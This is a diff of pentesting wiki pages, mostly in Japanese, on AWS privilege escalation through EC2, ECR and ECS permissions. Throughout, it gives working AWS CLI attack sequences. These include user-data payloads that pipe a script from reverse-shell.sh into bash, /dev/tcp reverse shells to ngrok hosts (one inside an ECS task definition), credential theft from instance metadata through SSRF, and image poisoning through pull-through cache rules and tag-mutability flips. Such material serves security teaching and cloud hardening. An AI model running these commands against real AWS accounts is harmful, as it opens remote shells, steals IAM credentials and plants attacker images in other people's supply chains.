+もし新しいインスタンスを **作成できない** が `ecs:RegisterContainerInstance` の権限を持っている場合、そのインスタンスをクラスターに登録して前述の攻撃を実行できる可能性があります。
+
+**Potential Impact:** タスクにアタッチされた ECS ロールへの直接的な privesc.
+
+### **`iam:PassRole`,** **`iam:AddRoleToInstanceProfile`**
+
+前のシナリオと同様に、これらの権限を持つ攻撃者は、侵害されたインスタンスの **IAM ロールを変更する** ことで新しい認証情報を盗むことができます。\
+instance profile は 1 つのロールしか持てないため、instance profile が **すでにロールを持っている**（一般的なケース）場合は、**`iam:RemoveRoleFromInstanceProfile`** も必要になります。
+```bash
+# Removing role from instance profile
+aws iam remove-role-from-instance-profile --instance-profile-name <name> --role-name <name>
+
+# Add role to instance profile
+aws iam add-role-to-instance-profile --instance-profile-name <name> --role-name <name>
+```
+もし **instance profile が role を持っている** かつ attacker がそれを **削除できない** 場合、別の回避策がある。attacker は **find** して **role のない instance profile** を見つけるか、**create a new one** (`iam:CreateInstanceProfile`) を作成し、前述のとおりその **instance profile** に **role** を **add** し、侵害した i**nstance:** にその **instance profile** を **associate** することができる:
+
+- その instance に **instance profile が割り当てられていない** 場合 (`ec2:AssociateIamInstanceProfile`)
+```bash
+aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
+```
+**潜在的な影響:** 異なるEC2ロールへの直接的なprivesc（AWS EC2インスタンスを侵害しており、追加の権限または特定のインスタンスプロファイル状態が必要）。
+
+### **`iam:PassRole`((** `ec2:AssociateIamInstanceProfile`& `ec2:DisassociateIamInstanceProfile`) || `ec2:ReplaceIamInstanceProfileAssociation`)
+
+これらの権限があれば、インスタンスに関連付けられたインスタンスプロファイルを変更できるため、攻撃者が既にインスタンスへアクセスしている場合、関連付けを変更することでより多くのインスタンスプロファイルロールの資格情報を盗むことが可能になります。
+
+- If it **has an instance profile**, you can **remove** the instance profile (`ec2:DisassociateIamInstanceProfile`) and **associate** it
+```bash
+aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da
+aws ec2 disassociate-iam-instance-profile --association-id <value>
+aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
+```
+- または、**差し替える** 侵害されたインスタンスの**instance profile** (`ec2:ReplaceIamInstanceProfileAssociation`).
+```bash
+aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name=<value> --association-id <value>
+```
+**Potential Impact:** 別の EC2 role への直接的な privesc（AWS EC2 instance を既に侵害しており、追加の権限または特定の instance profile の状態が必要）。
+
+### `ec2:RequestSpotInstances`,`iam:PassRole`
+
+権限 **`ec2:RequestSpotInstances`and`iam:PassRole`** を持つ攻撃者は、**EC2 Role attached** の **Spot Instance** を **request** し、**user data** に **rev shell** を置くことができます。\
+インスタンスが起動すると、攻撃者は **steal the IAM role** が可能になります。
+```bash
+REV=$(printf '#!/bin/bash
+curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
+' | base64)
+
+aws ec2 request-spot-instances \
+--instance-count 1 \
+--launch-specification "{\"IamInstanceProfile\":{\"Name\":\"EC2-CloudWatch-Agent-Role\"}, \"InstanceType\": \"t2.micro\", \"UserData\":\"$REV\", \"ImageId\": \"ami-0c1bc246476a5572b\"}"
+```
+### `ec2:ModifyInstanceAttribute`
+
+攻撃者が **`ec2:ModifyInstanceAttribute`** を持っていると、インスタンスの属性を変更できます。その中には **user data を変更** できる項目があり、これによりインスタンスに **任意のデータを実行** させることができます。これを使って **rev shell to the EC2 instance** を取得することが可能です。
+
+属性はインスタンスが停止している間にしか **変更できない** ため、**権限** **`ec2:StopInstances`** と **`ec2:StartInstances`** が必要である点に注意してください。
+```bash
+TEXT='Content-Type: multipart/mixed; boundary="//"
+MIME-Version: 1.0
+
+--//
+Content-Type: text/cloud-config; charset="us-ascii"
+MIME-Version: 1.0
+Content-Transfer-Encoding: 7bit
+Content-Disposition: attachment; filename="cloud-config.txt"
+
+#cloud-config
+cloud_final_modules:
+- [scripts-user, always]
+
+--//
+Content-Type: text/x-shellscript; charset="us-ascii"
+MIME-Version: 1.0
+Content-Transfer-Encoding: 7bit
+Content-Disposition: attachment; filename="userdata.txt"
+
+#!/bin/bash
+bash -i >& /dev/tcp/2.tcp.ngrok.io/14510 0>&1
+--//'
+TEXT_PATH="/tmp/text.b64.txt"
+
+printf $TEXT | base64 > "$TEXT_PATH"
+
+aws ec2 stop-instances --instance-ids $INSTANCE_ID
+
+aws ec2 modify-instance-attribute \
+--instance-id="$INSTANCE_ID" \
+--attribute userData \
+--value file://$TEXT_PATH
+
+aws ec2 start-instances --instance-ids $INSTANCE_ID
+```
+**Potential Impact:** 作成されたインスタンスにアタッチされた任意の EC2 IAM Role への直接的な privesc。
+
+### `ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`,`ec2:ModifyLaunchTemplate`
+
+権限 **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`and `ec2:ModifyLaunchTemplate`** を持つ攻撃者は、**new Launch Template version** を作成して、**rev shell in** the **user data** と **any EC2 IAM Role on it** を含め、デフォルトバージョンを変更できます。また、**any Autoscaler group** **using** that **Launch Templat**e が **configured** to use the **latest** or the **default version** になっている場合、そのグループはそのテンプレートを使って **re-run the instances** し、rev shell を実行します。
+```bash
+REV=$(printf '#!/bin/bash
+curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
+' | base64)
+
+aws ec2 create-launch-template-version \
+--launch-template-name bad_template \
+--launch-template-data "{\"ImageId\": \"ami-0c1bc246476a5572b\", \"InstanceType\": \"t3.micro\", \"IamInstanceProfile\": {\"Name\": \"ecsInstanceRole\"}, \"UserData\": \"$REV\"}"
+
+aws ec2 modify-launch-template \
+--launch-template-name bad_template \
+--default-version 2
+```
+**Potential Impact:** 直接的に別の EC2 role への privesc。
+
+### (`autoscaling:CreateLaunchConfiguration` | `ec2:CreateLaunchTemplate`),  `iam:PassRole`, (`autoscaling:CreateAutoScalingGroup` | `autoscaling:UpdateAutoScalingGroup`)
+
+権限 **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** を持つ攻撃者は、**IAM Role** と **rev shell** を含む **Launch Configuration** を **user data** に入れて作成し、その設定から **autoscaling group** を作成して、rev shell が **IAM Role** を盗むのを待つことができる。
+```bash
+aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \
+--launch-configuration-name bad_config \
+--image-id ami-0c1bc246476a5572b \
+--instance-type t3.micro \
+--iam-instance-profile EC2-CloudWatch-Agent-Role \
+--user-data "$REV"
+
+aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \
+--auto-scaling-group-name bad_auto \
+--min-size 1 --max-size 1 \
+--launch-configuration-name bad_config \
+--desired-capacity 1 \
+--vpc-zone-identifier "subnet-e282f9b8"
+```
+**Potential Impact:** 別の EC2 ロールへの直接的な privesc。
+
+### `!autoscaling`
+
+権限の組み合わせ **`ec2:CreateLaunchTemplate`** と **`autoscaling:CreateAutoScalingGroup`** は、IAM ロールへの権限昇格には**不十分**です。なぜなら Launch Configuration や Launch Template に指定されたロールをアタッチするには **`iam:PassRole` と `ec2:RunInstances`** の権限が必要だからです（これは既知の privesc です）。
+
+### `ec2-instance-connect:SendSSHPublicKey`
+
+権限 **`ec2-instance-connect:SendSSHPublicKey`** を持つ攻撃者は、ユーザに ssh キーを追加してそれを使ってアクセスする（インスタンスへの ssh アクセス権があれば）か、権限昇格に利用できます。
+```bash
+aws ec2-instance-connect send-ssh-public-key \
+--instance-id "$INSTANCE_ID" \
+--instance-os-user "ec2-user" \
+--ssh-public-key "file://$PUBK_PATH"
+```
+**潜在的な影響:** 実行中のインスタンスにアタッチされた EC2 IAM ロールへの直接的な privesc。
+
+### `ec2-instance-connect:SendSerialConsoleSSHPublicKey`
+
+権限 **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** を持つ攻撃者は、**serial 接続に ssh key を追加できる**。serial が有効でない場合、攻撃者はそれを有効にするために権限 **`ec2:EnableSerialConsoleAccess` が必要になる**。
+
+serial port に接続するには、マシン内部のユーザーの **username と password を知っている必要がある**。
+```bash
+aws ec2 enable-serial-console-access
+
+aws ec2-instance-connect send-serial-console-ssh-public-key \
+--instance-id "$INSTANCE_ID" \
+--serial-port 0 \
+--region "eu-west-1" \
+--ssh-public-key "file://$PUBK_PATH"
+
+ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws
+```
+この方法は、エクスプロイトするためにユーザー名とパスワードを知っている必要があるため、privesc にあまり有用ではありません。
+
+**Potential Impact:**（非常に立証が難しい）実行中のインスタンスにアタッチされている EC2 IAM ロールへの直接的な privesc。
+
+### `describe-launch-templates`,`describe-launch-template-versions`
+
+Since launch templates have versioning, an attacker with **`ec2:describe-launch-templates`** and **`ec2:describe-launch-template-versions`** permissions could exploit these to discover sensitive information, such as credentials present in user data. To accomplish this, the following script loops through all versions of the available launch templates:
+```bash
+for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId')
+do
+echo "[*] Analyzing $i"
+aws ec2 describe-launch-template-versions --launch-template-id $i --region us-east-1 | jq -r '.LaunchTemplateVersions[] | "\(.VersionNumber) \(.LaunchTemplateData.UserData)"' | while read version userdata
+do
+echo "VersionNumber: $version"
+echo "$userdata" | base64 -d
+echo
+done | grep -iE "aws_|password|token|api"
+done
+```
+上記のコマンドでは、特定のパターン（`aws_|password|token|api`）を指定していますが、他の種類の機密情報を検索するために別の正規表現を使用できます。
+
+Assuming we find `aws_access_key_id` and `aws_secret_access_key`, we can use these credentials to authenticate to AWS.
+
+**潜在的影響:** IAM user(s) への直接的な privilege escalation.
+
+## References
+
+- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+
+
+
+### `ec2:ModifyInstanceMetadataOptions` (IMDS downgrade to enable SSRF credential theft)
+
+被害者の EC2 インスタンスに対して `ec2:ModifyInstanceMetadataOptions` を呼び出す能力を持つ攻撃者は、IMDSv1 を有効にし（`HttpTokens=optional`）、`HttpPutResponseHopLimit` を増やすことで IMDS の保護を弱めることができます。これにより、インスタンス上で動作するアプリケーションからの一般的な SSRF/proxy 経路経由でインスタンスメタデータのエンドポイントに到達できるようになります。攻撃者がそのようなアプリで SSRF を起こせる場合、インスタンスプロファイルの資格情報を取得し、それらを使って pivot できます。
+
+- Required permissions: `ec2:ModifyInstanceMetadataOptions` on the target instance (plus the ability to reach/trigger a SSRF on the host).
+- Target resource: The running EC2 instance with an attached instance profile (IAM role).
+
+Commands example:
+```bash
+# 1) Check current metadata settings
+aws ec2 describe-instances --instance-id <INSTANCE_ID> \
+--query 'Reservations[0].Instances[0].MetadataOptions'
+
+# 2) Downgrade IMDS protections (enable IMDSv1 and raise hop limit)
+aws ec2 modify-instance-metadata-options --instance-id <INSTANCE_ID> \
+--http-endpoint enabled --http-tokens optional \
+--http-put-response-hop-limit 3 --instance-metadata-tags enabled
+
+# 3) Through the SSRF, enumerate role name
+curl "http://<VICTIM_PUBLIC_IP>:<APP_PORT>/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
+
+# 4) Through the SSRF, steal the temporary credentials
+curl "http://<VICTIM_PUBLIC_IP>:<APP_PORT>/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/<ROLE_NAME>"
+
+# 5) Use the stolen credentials
+export AWS_ACCESS_KEY_ID=<AccessKeyId>
+export AWS_SECRET_ACCESS_KEY=<SecretAccessKey>
+export AWS_SESSION_TOKEN=<Token>
+aws sts get-caller-identity
+
+# 6) Restore protections (require IMDSv2, low hop limit)
+aws ec2 modify-instance-metadata-options --instance-id <INSTANCE_ID> \
+--http-tokens required --http-put-response-hop-limit 1
+```
+潜在的影響: SSRF を介した instance profile credentials の窃取により、EC2 ロール権限での権限昇格および横移動が発生する可能性があります。
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md
deleted file mode 100644
index 074b73a7a..000000000
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md
+++ /dev/null
@@ -1,100 +0,0 @@
-# AWS - ECR Privesc
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## ECR
-
-### `ecr:GetAuthorizationToken`,`ecr:BatchGetImage`
-
-**`ecr:GetAuthorizationToken`** と **`ecr:BatchGetImage`** の権限を持つ攻撃者は、ECRにログインして画像をダウンロードできます。
-
-画像のダウンロード方法についての詳細は：
-
-{{#ref}}
-../aws-post-exploitation/aws-ecr-post-exploitation.md
-{{#endref}}
-
-**潜在的な影響:** トラフィック内の機密情報を傍受することによる間接的な権限昇格。
-
-### `ecr:GetAuthorizationToken`, `ecr:BatchCheckLayerAvailability`, `ecr:CompleteLayerUpload`, `ecr:InitiateLayerUpload`, `ecr:PutImage`, `ecr:UploadLayerPart`
-
-これらすべての権限を持つ攻撃者は **ECRにログインして画像をアップロードできます**。これは、これらの画像が使用されている他の環境に権限を昇格させるのに役立ちます。
-
-新しい画像をアップロード/更新する方法については、次を確認してください：
-
-{{#ref}}
-../aws-services/aws-eks-enum.md
-{{#endref}}
-
-### `ecr-public:GetAuthorizationToken`, `ecr-public:BatchCheckLayerAvailability, ecr-public:CompleteLayerUpload`, `ecr-public:InitiateLayerUpload, ecr-public:PutImage`, `ecr-public:UploadLayerPart`
-
-前のセクションと同様ですが、公開リポジトリ用です。
-
-### `ecr:SetRepositoryPolicy`
-
-この権限を持つ攻撃者は **リポジトリのポリシーを変更** して、自分自身（または全員）に **読み書きアクセス** を付与することができます。\
-例えば、この例では全員に読み取りアクセスが付与されています。
-```bash
-aws ecr set-repository-policy \
---repository-name <repo_name> \
---policy-text file://my-policy.json
-```
-`my-policy.json`の内容：
-```json
-{
-"Version": "2008-10-17",
-"Statement": [
-{
-"Sid": "allow public pull",
-"Effect": "Allow",
-"Principal": "*",
-"Action": [
-"ecr:BatchCheckLayerAvailability",
-"ecr:BatchGetImage",
-"ecr:GetDownloadUrlForLayer"
-]
-}
-]
-}
-```
-### `ecr-public:SetRepositoryPolicy`
-
-前のセクションと同様ですが、パブリックリポジトリ用です。\
-攻撃者はECRパブリックリポジトリの**リポジトリポリシーを変更**して、無許可のパブリックアクセスを付与したり、権限を昇格させたりすることができます。
-```bash
-bashCopy code# Create a JSON file with the malicious public repository policy
-echo '{
-"Version": "2008-10-17",
-"Statement": [
-{
-"Sid": "MaliciousPublicRepoPolicy",
-"Effect": "Allow",
-"Principal": "*",
-"Action": [
-"ecr-public:GetDownloadUrlForLayer",
-"ecr-public:BatchGetImage",
-"ecr-public:BatchCheckLayerAvailability",
-"ecr-public:PutImage",
-"ecr-public:InitiateLayerUpload",
-"ecr-public:UploadLayerPart",
-"ecr-public:CompleteLayerUpload",
-"ecr-public:DeleteRepositoryPolicy"
-]
-}
-]
-}' > malicious_public_repo_policy.json
-
-# Apply the malicious public repository policy to the ECR Public repository
-aws ecr-public set-repository-policy --repository-name your-ecr-public-repo-name --policy-text file://malicious_public_repo_policy.json
-```
-**潜在的な影響**: ECR Public リポジトリへの不正な公開アクセスにより、任意のユーザーがイメージをプッシュ、プル、または削除できるようになります。
-
-### `ecr:PutRegistryPolicy`
-
-この権限を持つ攻撃者は、**レジストリポリシー**を**変更**して、自分自身、彼のアカウント（または全員）に**読み書きアクセス**を付与することができます。
-```bash
-aws ecr set-repository-policy \
---repository-name <repo_name> \
---policy-text file://my-policy.json
-```
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc/README.md
new file mode 100644
index 000000000..b28484b25
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc/README.md
@@ -0,0 +1,267 @@
+# AWS - ECR Privesc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## ECR
+
+### `ecr:GetAuthorizationToken`,`ecr:BatchGetImage`
+
+攻撃者が **`ecr:GetAuthorizationToken`** と **`ecr:BatchGetImage`** を持っていると、ECR にログインしてイメージをダウンロードできます。
+
+For more info on how to download images:
+
+{{#ref}}
+../../aws-post-exploitation/aws-ecr-post-exploitation/README.md
+{{#endref}}
+
+**Potential Impact:** トラフィック内の機密情報を傍受することで間接的な privesc を引き起こす可能性があります。
+
+### `ecr:GetAuthorizationToken`, `ecr:BatchCheckLayerAvailability`, `ecr:CompleteLayerUpload`, `ecr:InitiateLayerUpload`, `ecr:PutImage`, `ecr:UploadLayerPart`
+
+これらすべての権限を持つ攻撃者は **ECR にログインしてイメージをアップロードすることができます**。これは、これらのイメージが使用されている他の環境へ権限を昇格させるのに有用です。
+
+To learn how to upload a new image/update one, check:
+
+{{#ref}}
+../../aws-services/aws-eks-enum.md
+{{#endref}}
+
+### `ecr-public:GetAuthorizationToken`, `ecr-public:BatchCheckLayerAvailability, ecr-public:CompleteLayerUpload`, `ecr-public:InitiateLayerUpload, ecr-public:PutImage`, `ecr-public:UploadLayerPart`
+
+前のセクションと同様ですが、パブリックリポジトリ向けです。
+
+### `ecr:SetRepositoryPolicy`
+
+この権限を持つ攻撃者は、**repository** の **policy** を **変更** して自分自身（または全員）に **読み取り/書き込みアクセス** を付与することができます。\
+例えば、以下の例では読み取りアクセスが全員に付与されています。
+```bash
+aws ecr set-repository-policy \
+--repository-name <repo_name> \
+--policy-text file://my-policy.json
+```
+`my-policy.json` の内容:
+```json
+{
+"Version": "2008-10-17",
+"Statement": [
+{
+"Sid": "allow public pull",
+"Effect": "Allow",
+"Principal": "*",
+"Action": [
+"ecr:BatchCheckLayerAvailability",
+"ecr:BatchGetImage",
+"ecr:GetDownloadUrlForLayer"
+]
+}
+]
+}
+```
+### `ecr-public:SetRepositoryPolicy`
+
+前のセクションと同様ですが、パブリックリポジトリ向けです。\ 攻撃者は ECR Public repository の **リポジトリポリシーを変更** して、不正なパブリックアクセスを付与したり、権限を昇格させたりできます。
+```bash
+# Create a JSON file with the malicious public repository policy
+echo '{
+"Version": "2008-10-17",
+"Statement": [
+{
+"Sid": "MaliciousPublicRepoPolicy",
+"Effect": "Allow",
+"Principal": "*",
+"Action": [
+"ecr-public:GetDownloadUrlForLayer",
+"ecr-public:BatchGetImage",
+"ecr-public:BatchCheckLayerAvailability",
+"ecr-public:PutImage",
+"ecr-public:InitiateLayerUpload",
+"ecr-public:UploadLayerPart",
+"ecr-public:CompleteLayerUpload",
+"ecr-public:DeleteRepositoryPolicy"
+]
+}
+]
+}' > malicious_public_repo_policy.json
+
+# Apply the malicious public repository policy to the ECR Public repository
+aws ecr-public set-repository-policy --repository-name your-ecr-public-repo-name --policy-text file://malicious_public_repo_policy.json
+```
+**潜在的影響**: ECR Public リポジトリへの未承認の公開アクセスにより、任意のユーザーがイメージを push、pull、または削除できるようになります。
+
+### `ecr:PutRegistryPolicy`
+
+この権限を持つ攻撃者は、**レジストリポリシー**を**変更**して、自分自身や自分のアカウント（あるいは全員）に**読み取り/書き込みアクセス**を付与することができます。
+```bash
+aws ecr set-repository-policy \
+--repository-name <repo_name> \
+--policy-text file://my-policy.json
+```
+{{#include ../../../../banners/hacktricks-training.md}}
+
+
+
+
+
+### ecr:CreatePullThroughCacheRule
+
+ECR Pull Through Cache (PTC) ルールを悪用して、攻撃者が制御する上流名前空間を信頼されたプライベートECRプレフィックスにマッピングします。これにより、プライベートECRからプルするワークロードは、プライベートECRへ何も push していなくても透過的に攻撃者のイメージを受け取ります。
+
+- Required perms: ecr:CreatePullThroughCacheRule, ecr:DescribePullThroughCacheRules, ecr:DeletePullThroughCacheRule. If using ECR Public upstream: ecr-public:* to create/push to the public repo.
+- Tested upstream: public.ecr.aws
+
+Steps (example):
+
+1. ECR Public に攻撃者のイメージを用意
+# Get your ECR Public alias with: aws ecr-public describe-registries --region us-east-1
+docker login public.ecr.aws/<public_alias>
+docker build -t public.ecr.aws/<public_alias>/hacktricks-ptc-demo:ptc-test .
+docker push public.ecr.aws/<public_alias>/hacktricks-ptc-demo:ptc-test
+
+2. プライベートECRでPTCルールを作成し、信頼されたプレフィックスをパブリックレジストリにマップする
+aws ecr create-pull-through-cache-rule --region us-east-2 --ecr-repository-prefix ptc --upstream-registry-url public.ecr.aws
+
+3. プライベートECR経由で攻撃者イメージをプルする（プライベートECRへの push は行われていない）
+docker login <account_id>.dkr.ecr.us-east-2.amazonaws.com
+docker pull <account_id>.dkr.ecr.us-east-2.amazonaws.com/ptc/<public_alias>/hacktricks-ptc-demo:ptc-test
+docker run --rm <account_id>.dkr.ecr.us-east-2.amazonaws.com/ptc/<public_alias>/hacktricks-ptc-demo:ptc-test
+
+Potential Impact: Supply-chain compromise by hijacking internal image names under the chosen prefix. Any workload pulling images from the private ECR using that prefix will receive attacker-controlled content.
+
+### `ecr:PutImageTagMutability`
+
+この権限を悪用して、タグの不変性が設定されたリポジトリを可変に切り替え、latest、stable、prod などの信頼されたタグを攻撃者が制御するコンテンツで上書きできます。
+
+- Required perms: `ecr:PutImageTagMutability` plus push capabilities (`ecr:GetAuthorizationToken`, `ecr:InitiateLayerUpload`, `ecr:UploadLayerPart`, `ecr:CompleteLayerUpload`, `ecr:PutImage`).
+- Impact: Supply-chain compromise by silently replacing immutable tags without changing tag names.
+
+Steps (example):
+
+<details>
+<summary>不変タグを可変に切り替えて汚染する</summary>
+```bash
+REGION=us-east-1
+REPO=ht-immutable-demo-$RANDOM
+aws ecr create-repository --region $REGION --repository-name $REPO --image-tag-mutability IMMUTABLE
+acct=$(aws sts get-caller-identity --query Account --output text)
+aws ecr get-login-password --region $REGION | docker login --username AWS --password-stdin ${acct}.dkr.ecr.${REGION}.amazonaws.com
+# Build and push initial trusted tag
+printf 'FROM alpine:3.19\nCMD echo V1\n' > Dockerfile && docker build -t ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod . && docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod
+# Attempt overwrite while IMMUTABLE (should fail)
+printf 'FROM alpine:3.19\nCMD echo V2\n' > Dockerfile && docker build -t ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod . && docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod
+# Flip to MUTABLE and overwrite
+aws ecr put-image-tag-mutability --region $REGION --repository-name $REPO --image-tag-mutability MUTABLE
+docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod
+# Validate consumers pulling by tag now get the poisoned image (prints V2)
+docker run --rm ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod
+```
+</details>
+
+
+#### ROOT Pull-Through Cache ルールによるグローバルレジストリハイジャック
+
+特別な `ecrRepositoryPrefix=ROOT` を使って Pull-Through Cache (PTC) ルールを作成し、プライベート ECR レジストリのルートを上流のパブリックレジストリ（例: ECR Public）にマッピングします。プライベートレジストリに存在しないリポジトリへの pull は上流から透過的に提供され、プライベート ECR に push しなくてもサプライチェーンハイジャックが可能になります。
+
+- 必要な権限: `ecr:CreatePullThroughCacheRule`, `ecr:DescribePullThroughCacheRules`, `ecr:DeletePullThroughCacheRule`, `ecr:GetAuthorizationToken`.
+- 影響: Pulls to `<account>.dkr.ecr.<region>.amazonaws.com/<any-existing-upstream-path>:<tag>` succeed and auto-create private repos sourced from upstream.
+
+> 注: `ROOT` ルールでは `--upstream-repository-prefix` を省略してください。指定するとバリデーションエラーになります。
+
+<details>
+<summary>デモ (us-east-1, upstream public.ecr.aws)</summary>
+```bash
+REGION=us-east-1
+ACCT=$(aws sts get-caller-identity --query Account --output text)
+
+# 1) Create ROOT PTC rule mapping to ECR Public (no upstream prefix)
+aws ecr create-pull-through-cache-rule \
+--region "$REGION" \
+--ecr-repository-prefix ROOT \
+--upstream-registry-url public.ecr.aws
+
+# 2) Authenticate to private ECR and pull via root path (triggers caching & auto repo creation)
+aws ecr get-login-password --region "$REGION" | docker login --username AWS --password-stdin ${ACCT}.dkr.ecr.${REGION}.amazonaws.com
+
+# Example using an official mirror path hosted in ECR Public
+# (public.ecr.aws/docker/library/alpine:latest)
+docker pull ${ACCT}.dkr.ecr.${REGION}.amazonaws.com/docker/library/alpine:latest
+
+# 3) Verify repo and image now exist without any push
+aws ecr describe-repositories --region "$REGION" \
+--query "repositories[?repositoryName==docker/library/alpine]"
+aws ecr list-images --region "$REGION" --repository-name docker/library/alpine --filter tagStatus=TAGGED
+
+# 4) Cleanup
+aws ecr delete-pull-through-cache-rule --region "$REGION" --ecr-repository-prefix ROOT
+aws ecr delete-repository --region "$REGION" --repository-name docker/library/alpine --force || true
+```
+</details>
+
+### `ecr:PutAccountSetting` (レジストリポリシーの Deny を回避するために `REGISTRY_POLICY_SCOPE` をダウングレード)
+
+`ecr:PutAccountSetting` を悪用してレジストリポリシーの scope を `V2`（全ての ECR アクションに適用されるポリシー）から `V1`（`CreateRepository`, `ReplicateImage`, `BatchImportUpstreamImage` のみ適用されるポリシー）に切り替えます。制限的なレジストリポリシーの Deny により `CreatePullThroughCacheRule` のようなアクションがブロックされている場合、`V1` にダウングレードするとその適用が解除され、identity‑policy の Allow が有効になります。
+
+- 必要な権限: `ecr:PutAccountSetting`, `ecr:PutRegistryPolicy`, `ecr:GetRegistryPolicy`, `ecr:CreatePullThroughCacheRule`, `ecr:DescribePullThroughCacheRules`, `ecr:DeletePullThroughCacheRule`.
+- 影響: 一時的に scope を `V1` に設定することで、レジストリポリシーの Deny により以前ブロックされていた ECR アクション（例: PTC ルールの作成）を実行できるようになる。
+
+Steps (example):
+
+<details>
+<summary>CreatePullThroughCacheRule に対するレジストリポリシーの Deny を V1 に切り替えて回避する</summary>
+```bash
+REGION=us-east-1
+ACCT=$(aws sts get-caller-identity --query Account --output text)
+
+# 0) Snapshot current scope/policy (for restore)
+aws ecr get-account-setting --name REGISTRY_POLICY_SCOPE --region $REGION || true
+aws ecr get-registry-policy --region $REGION > /tmp/orig-registry-policy.json 2>/dev/null || echo '{}' > /tmp/orig-registry-policy.json
+
+# 1) Ensure V2 and set a registry policy Deny for CreatePullThroughCacheRule
+aws ecr put-account-setting --name REGISTRY_POLICY_SCOPE --value V2 --region $REGION
+cat > /tmp/deny-ptc.json <<'JSON'
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Sid": "DenyPTCAll",
+"Effect": "Deny",
+"Principal": "*",
+"Action": ["ecr:CreatePullThroughCacheRule"],
+"Resource": "*"
+}
+]
+}
+JSON
+aws ecr put-registry-policy --policy-text file:///tmp/deny-ptc.json --region $REGION
+
+# 2) Attempt to create a PTC rule (should FAIL under V2 due to Deny)
+set +e
+aws ecr create-pull-through-cache-rule \
+--region $REGION \
+--ecr-repository-prefix ptc-deny-test \
+--upstream-registry-url public.ecr.aws
+RC=$?
+set -e
+if [ "$RC" -eq 0 ]; then echo "UNEXPECTED: rule creation succeeded under V2 deny"; fi
+
+# 3) Downgrade scope to V1 and retry (should SUCCEED now)
+aws ecr put-account-setting --name REGISTRY_POLICY_SCOPE --value V1 --region $REGION
+aws ecr create-pull-through-cache-rule \
+--region $REGION \
+--ecr-repository-prefix ptc-deny-test \
+--upstream-registry-url public.ecr.aws
+
+# 4) Verify rule exists
+aws ecr describe-pull-through-cache-rules --region $REGION \
+--query "pullThroughCacheRules[?ecrRepositoryPrefix=='ptc-deny-test']"
+
+# 5) Cleanup and restore
+aws ecr delete-pull-through-cache-rule --region $REGION --ecr-repository-prefix ptc-deny-test || true
+if jq -e '.registryPolicyText' /tmp/orig-registry-policy.json >/dev/null 2>&1; then
+jq -r '.registryPolicyText' /tmp/orig-registry-policy.json > /tmp/_orig.txt
+aws ecr put-registry-policy --region $REGION --policy-text file:///tmp/_orig.txt
+else
+aws ecr delete-registry-policy --region $REGION || true
+fi
+aws ecr put-account-setting --name REGISTRY_POLICY_SCOPE --value V2 --region $REGION
+```
+</details>
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md
deleted file mode 100644
index be947034e..000000000
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md
+++ /dev/null
@@ -1,327 +0,0 @@
-# AWS - ECS Privesc
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## ECS
-
-ECSに関する**詳細情報**は次を参照：
-
-{{#ref}}
-../aws-services/aws-ecs-enum.md
-{{#endref}}
-
-### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:RunTask`
-
-ECSで`iam:PassRole`、`ecs:RegisterTaskDefinition`、`ecs:RunTask`の権限を悪用する攻撃者は、メタデータの認証情報を窃取する**悪意のあるコンテナ**を含む**新しいタスク定義を生成**し、それを**実行**できます。
-
-{{#tabs }}
-{{#tab name="Reverse Shell" }}
-```bash
-# Generate task definition with rev shell
-aws ecs register-task-definition --family iam_exfiltration \
---task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
---network-mode "awsvpc" \
---cpu 256 --memory 512\
---requires-compatibilities "[\"FARGATE\"]" \
---container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"
-
-# Run task definition
-aws ecs run-task --task-definition iam_exfiltration \
